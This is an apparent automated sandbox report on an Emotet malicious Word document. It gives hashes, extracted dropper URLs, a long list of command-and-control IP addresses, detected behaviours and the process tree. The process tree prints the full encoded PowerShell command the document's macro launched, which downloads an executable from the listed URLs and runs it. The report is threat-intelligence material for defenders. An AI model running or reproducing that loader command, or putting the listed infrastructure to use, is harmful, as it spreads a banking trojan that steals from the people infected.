emotet | de3f3d3187c3d5a9eeb99de8ec6e690da7bb3e7c02e7ee853260a019b889f05f

Analysis

max time kernel
135s
max time network
150s
platform
windows10_x64
resource
win10
submitted
25/09/2020, 18:45

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General

Target
list-20200925-467.doc
Size 142KB
Sample200925-szcqev4tr2
SHA256 de3f3d3187c3d5a9eeb99de8ec6e690da7bb3e7c02e7ee853260a019b889f05f
MD5 1ac77f0dd4d679d00c75235ec19b324d
SHA1 b1da2613d6f78522945c61b2e5de291a7c767685
SHA512 9b49606b50b53137e8c87722bab8b567a24839ba16c4ec7f1628196583b1d14ddb7126cfea9707d3b0d8474a27a6f15772987bb0b35d6ace98cdc1f325498755
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://playschoolmatritva.com/cgi-bin/Cqw/
exe.dropper
http://must-in.com/wp-admin/0/
exe.dropper
https://online24h.biz/wp-admin/t/
exe.dropper
https://cimsjr.com/hospital/Fh4/
exe.dropper
https://ajstudiollc.com/cgi-bin/MiL/
exe.dropper
http://paulscomputing.com/CraigsMagicSquare/gQ1/
exe.dropper
https://heartssetfree.org/9c950e/FnH/

Extracted

Family

emotet

12.163.208.58:80
45.33.35.74:8080
87.106.253.248:8080
192.241.146.84:8080
190.115.18.139:8080
65.36.62.20:80
170.81.48.2:80
83.169.21.32:7080
185.232.182.218:80
190.2.31.172:80
77.106.157.34:8080
82.230.1.24:80
202.4.58.197:80
201.213.177.139:80
78.249.119.122:80
123.51.47.18:80
77.90.136.129:8080
60.93.23.51:80
152.169.22.67:80
190.117.79.209:80
60.108.144.104:443
213.197.182.158:8080
82.76.111.249:443
209.236.123.42:8080
190.24.243.186:80
177.74.228.34:80
191.182.6.118:80
96.245.123.149:80
61.197.92.216:80
1.226.84.243:8080
111.67.12.221:8080
216.47.196.104:80
185.94.252.27:443
70.116.143.84:80
187.162.248.237:80
217.13.106.14:8080
80.11.164.185:80
35.143.99.174:80
190.190.148.27:8080
219.92.13.25:80
70.32.115.157:8080
96.227.52.8:443
51.75.33.127:80
95.9.180.128:80
174.113.69.136:80
119.106.216.84:80
111.67.77.202:8080
91.105.94.200:80
178.250.54.208:8080
98.13.75.196:80
2.36.95.106:80
186.70.127.199:8090
116.202.23.3:8080
202.134.4.210:7080
50.28.51.143:8080
45.33.77.42:8080
67.247.242.247:80
137.74.106.111:7080
85.214.26.7:8080
181.30.61.163:443
77.238.212.227:80
185.215.227.107:443
186.103.141.250:443
50.121.220.50:80
74.136.144.133:80
104.131.41.185:8080
61.92.159.208:8080
104.131.103.37:8080
51.15.7.189:80
185.94.252.12:80
94.176.234.118:443
212.71.237.140:8080
5.196.35.138:7080
45.46.37.97:80
70.32.84.74:8080
199.203.62.165:80
38.88.126.202:8080
51.159.23.217:443
155.186.0.121:80
51.38.124.206:80
181.129.96.162:8080
64.201.88.132:80
92.24.50.153:80
189.2.177.210:443
45.16.226.117:443
76.168.54.203:80
185.178.10.77:80
220.109.145.69:80
192.81.38.31:80
68.183.170.114:8080
177.73.0.98:443
138.97.60.141:7080
192.241.143.52:8080
217.199.160.224:7080
185.183.16.47:80
177.129.17.170:443
5.189.178.202:8080
74.58.215.226:80
51.255.165.160:8080
12.162.84.2:8080
149.202.72.142:7080
87.106.46.107:8080
188.135.15.49:80
68.183.190.199:8080
172.104.169.32:8080
68.69.155.181:80
72.47.248.48:7080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3012	1408	POwersheLL.exe	73

Emotet Payload 8 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/4000-16-0x0000000000600000-0x0000000000612000-memory.dmp	emotet
behavioral2/memory/4000-16-0x0000000000600000-0x0000000000612000-memory.dmp	emotet
behavioral2/memory/4000-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/4000-17-0x00000000001F0000-0x0000000000200000-memory.dmp	emotet
behavioral2/memory/804-20-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/804-20-0x00000000004B0000-0x00000000004C2000-memory.dmp	emotet
behavioral2/memory/804-21-0x0000000000490000-0x00000000004A0000-memory.dmp	emotet
behavioral2/memory/804-21-0x0000000000490000-0x00000000004A0000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	3012	POwersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
4000	Wpmza8snw.exe
804	iasacct.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\prvdmofcomp\iasacct.exe	Wpmza8snw.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3012	POwersheLL.exe
3012	POwersheLL.exe
3012	POwersheLL.exe
804	iasacct.exe
804	iasacct.exe
804	iasacct.exe
804	iasacct.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3012	POwersheLL.exe

Suspicious use of SetWindowsHookEx 11 IoCs

pid	Process
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4092	WINWORD.EXE
4000	Wpmza8snw.exe
804	iasacct.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 3012 wrote to memory of 4000	3012	POwersheLL.exe	82
PID 3012 wrote to memory of 4000	3012	POwersheLL.exe	82
PID 3012 wrote to memory of 4000	3012	POwersheLL.exe	82
PID 4000 wrote to memory of 804	4000	Wpmza8snw.exe	83
PID 4000 wrote to memory of 804	4000	Wpmza8snw.exe	83
PID 4000 wrote to memory of 804	4000	Wpmza8snw.exe	83

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\list-20200925-467.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4092

C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
POwersheLL -ENCOD JABJADUAaQB1ADgAdgA1AD0AKAAnAEwAJwArACgAJwA2AHEAOQBmACcAKwAnAGwAcwAnACkAKQA7AC4AKAAnAG4AJwArACcAZQB3AC0AaQB0AGUAJwArACcAbQAnACkAIAAkAEUATgB2ADoAVQBzAEUAcgBwAFIAbwBGAGkAbABlAFwAZwB5AHIAbgA2AFUARABcAGYAOQBQAGgAdwB5ADkAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBjAHQATwBSAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMAZQBgAEMAdQByAGAASQB0AHkAUABgAFIATwBUAE8AYwBvAEwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAJwArACcAcwAxADIALAAgACcAKwAnAHQAJwApACsAKAAnAGwAJwArACcAcwAxACcAKQArACgAJwAxACwAIAB0AGwAJwArACcAcwAnACkAKQA7ACQASABxADMAOABiAGEAcQAgAD0AIAAoACgAJwBXAHAAJwArACcAbQAnACkAKwAoACcAegBhACcAKwAnADgAcwBuAHcAJwApACkAOwAkAFgAegAwADQAegB3AHQAPQAoACgAJwBQACcAKwAnAGkAMwAnACkAKwAoACcAOAA0ACcAKwAnAHkAJwApACsAJwA1ACcAKQA7ACQAWAB6AGsAZQB4AG8AYQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAJwB7ADAAfQBHAHkAcgAnACsAJwBuADYAdQBkAHsAMAAnACsAJwB9AEYAOQBwAGgAdwB5ADkAJwArACcAewAwAH0AJwApACAALQBmAFsAQwBoAGEAcgBdADkAMgApACsAJABIAHEAMwA4AGIAYQBxACsAKAAoACcALgAnACsAJwBlAHgAJwApACsAJwBlACcAKQA7ACQAWQBfAGQAZgA2ADcAcQA9ACgAKAAnAEkAJwArACcAaABtAGoAMQAnACkAKwAnAG8AbQAnACkAOwAkAEYAdgBmAGYAagBnAHoAPQAmACgAJwBuACcAKwAnAGUAdwAtAG8AYgBqAGUAYwAnACsAJwB0ACcAKQAgAE4AZQB0AC4AdwBFAGIAQwBMAGkAZQBOAHQAOwAkAFAAcQBmADEAbwA4AGkAPQAoACcAaAAnACsAKAAnAHQAdAAnACsAJwBwACcAKQArACgAJwA6AC8AJwArACcALwAnACkAKwAoACcAcABsAGEAeQBzAGMAJwArACcAaAAnACsAJwBvAG8AbABtACcAKQArACgAJwBhACcAKwAnAHQAcgBpACcAKwAnAHQAdgBhAC4AYwAnACkAKwAoACcAbwBtAC8AYwBnACcAKwAnAGkALQBiAGkAJwArACcAbgAvACcAKwAnAEMAJwArACcAcQB3AC8AKgAnACkAKwAoACcAaAB0ACcAKwAnAHQAcAA6ACcAKwAnAC8ALwAnACsAJwBtACcAKwAnAHUAcwB0AC0AaQBuAC4AYwBvACcAKQArACcAbQAvACcAKwAoACcAdwAnACsAJwBwAC0AJwApACsAKAAnAGEAZAAnACsAJwBtAGkAbgAnACkAKwAoACcALwAwACcAKwAnAC8AKgAnACsAJwBoAHQAdABwAHMAOgAvAC8AbwBuACcAKwAnAGwAJwApACsAJwBpACcAKwAoACcAbgBlADIANAAnACsAJwBoACcAKwAnAC4AYgBpAHoALwB3AHAALQBhACcAKwAnAGQAJwApACsAKAAnAG0AaQBuACcAKwAnAC8AdAAnACkAKwAoACcALwAqAGgAdAB0ACcAKwAnAHAAJwArACcAcwA6AC8ALwAnACkAKwAoACcAYwBpACcAKwAnAG0AcwBqAHIALgBjACcAKQArACcAbwBtACcAKwAoACcALwBoACcAKwAnAG8AJwApACsAKAAnAHMAcAAnACsAJwBpAHQAJwArACcAYQBsAC8ARgBoADQALwAnACkAKwAnACoAJwArACgAJwBoAHQAJwArACcAdABwAHMAOgAnACsAJwAvAC8AYQBqAHMAJwApACsAKAAnAHQAdQBkAGkAbwBsACcAKwAnAGwAYwAnACkAKwAoACcALgBjAG8AJwArACcAbQAnACkAKwAoACcALwBjACcAKwAnAGcAaQAtAGIAaQBuACcAKwAnAC8AJwArACcATQAnACkAKwAnAGkATAAnACsAKAAnAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoALwAnACkAKwAoACcALwAnACsAJwBwAGEAdQBsACcAKQArACgAJwBzAGMAbwBtAHAAdQB0ACcAKwAnAGkAbgBnAC4AYwAnACsAJwBvAG0ALwBDACcAKwAnAHIAYQAnACkAKwAoACcAaQAnACsAJwBnAHMATQBhAGcAJwApACsAJwBpACcAKwAoACcAYwBTAHEAJwArACcAdQBhACcAKQArACcAcgBlACcAKwAnAC8AJwArACgAJwBnAFEAMQAvACoAJwArACcAaAB0ACcAKQArACgAJwB0AHAAcwA6ACcAKwAnAC8ALwAnACsAJwBoAGUAYQByAHQAJwArACcAcwBzAGUAJwArACcAdAAnACkAKwAoACcAZgByAGUAZQAnACsAJwAuACcAKQArACcAbwByACcAKwAoACcAZwAvADkAJwArACcAYwAnACkAKwAoACcAOQA1ADAAZQAnACsAJwAvACcAKQArACcARgAnACsAKAAnAG4ASAAnACsAJwAvACcAKQApAC4AIgBzAFAATABgAGkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFkAdwB5AGYAagB4AGcAPQAoACgAJwBMAGQAJwArACcAMQBrACcAKQArACgAJwBlAF8AJwArACcAeAAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbABlAHYAbgByAGsAIABpAG4AIAAkAFAAcQBmADEAbwA4AGkAKQB7AHQAcgB5AHsAJABGAHYAZgBmAGoAZwB6AC4AIgBEAG8AdwBgAE4ATABPAEEAYABkAGYAaQBMAGUAIgAoACQAWABsAGUAdgBuAHIAawAsACAAJABYAHoAawBlAHgAbwBhACkAOwAkAFcAMwBfAHMAagByAHEAPQAoACgAJwBHAHEAcgAnACsAJwBzAGoAJwApACsAJwBrAG0AJwApADsASQBmACAAKAAoACYAKAAnAEcAJwArACcAZQB0AC0ASQB0ACcAKwAnAGUAbQAnACkAIAAkAFgAegBrAGUAeABvAGEAKQAuACIATABFAG4AYABHAHQAaAAiACAALQBnAGUAIAAyADQAMQAxADkAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAJwArACcAZQBtACcAKQAoACQAWAB6AGsAZQB4AG8AYQApADsAJABYADAAaABhAHoAYQBrAD0AKAAnAEcAMQAnACsAKAAnADMAZwBmAHAAJwArACcAbgAnACkAKQA7AGIAcgBlAGEAawA7ACQAUgBuADkAcAA1AHcAcgA9ACgAJwBRACcAKwAoACcANwAnACsAJwA1AGcAJwApACsAKAAnAHoAdgAnACsAJwBmACcAKQApAH0AfQBjAGEAdABjAGgAewB9AH0AJABOAG8AaABhAHEAeABoAD0AKAAoACcAUwAnACsAJwB6AGEAJwApACsAJwAzAHoAJwArACcANgBlACcAKQA=
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3012
- C:\Users\Admin\Gyrn6ud\F9phwy9\Wpmza8snw.exe
  "C:\Users\Admin\Gyrn6ud\F9phwy9\Wpmza8snw.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:4000
- - C:\Windows\SysWOW64\prvdmofcomp\iasacct.exe
    "C:\Windows\SysWOW64\prvdmofcomp\iasacct.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:804

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/804-21-0x0000000000490000-0x00000000004A0000-memory.dmp

Download

memory/804-20-0x00000000004B0000-0x00000000004C2000-memory.dmp

Download

memory/3012-10-0x00007FFDC6060000-0x00007FFDC6A4C000-memory.dmp

Download

memory/3012-11-0x000001E3CB9E0000-0x000001E3CB9E1000-memory.dmp

Download

memory/3012-12-0x000001E3CBB90000-0x000001E3CBB91000-memory.dmp

Download

memory/4000-16-0x0000000000600000-0x0000000000612000-memory.dmp

Download

memory/4000-17-0x00000000001F0000-0x0000000000200000-memory.dmp

Download

memory/4092-0-0x00007FFDCD090000-0x00007FFDCD756000-memory.dmp

Download

memory/4092-9-0x000001FB1E853000-0x000001FB1E858000-memory.dmp

Download

memory/4092-8-0x000001FB1E853000-0x000001FB1E858000-memory.dmp

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memory/4092-6-0x000001FB1E67E000-0x000001FB1E683000-memory.dmp

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memory/4092-5-0x000001FB1E67E000-0x000001FB1E683000-memory.dmp

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memory/4092-7-0x000001FB1C02A000-0x000001FB1C02F000-memory.dmp

Download

memory/4092-4-0x000001FB1E853000-0x000001FB1E858000-memory.dmp

Download

memory/4092-3-0x000001FB1C02A000-0x000001FB1C02F000-memory.dmp

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memory/4092-2-0x000001FB1E67E000-0x000001FB1E683000-memory.dmp

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memory/4092-1-0x000001FB1E67E000-0x000001FB1E683000-memory.dmp

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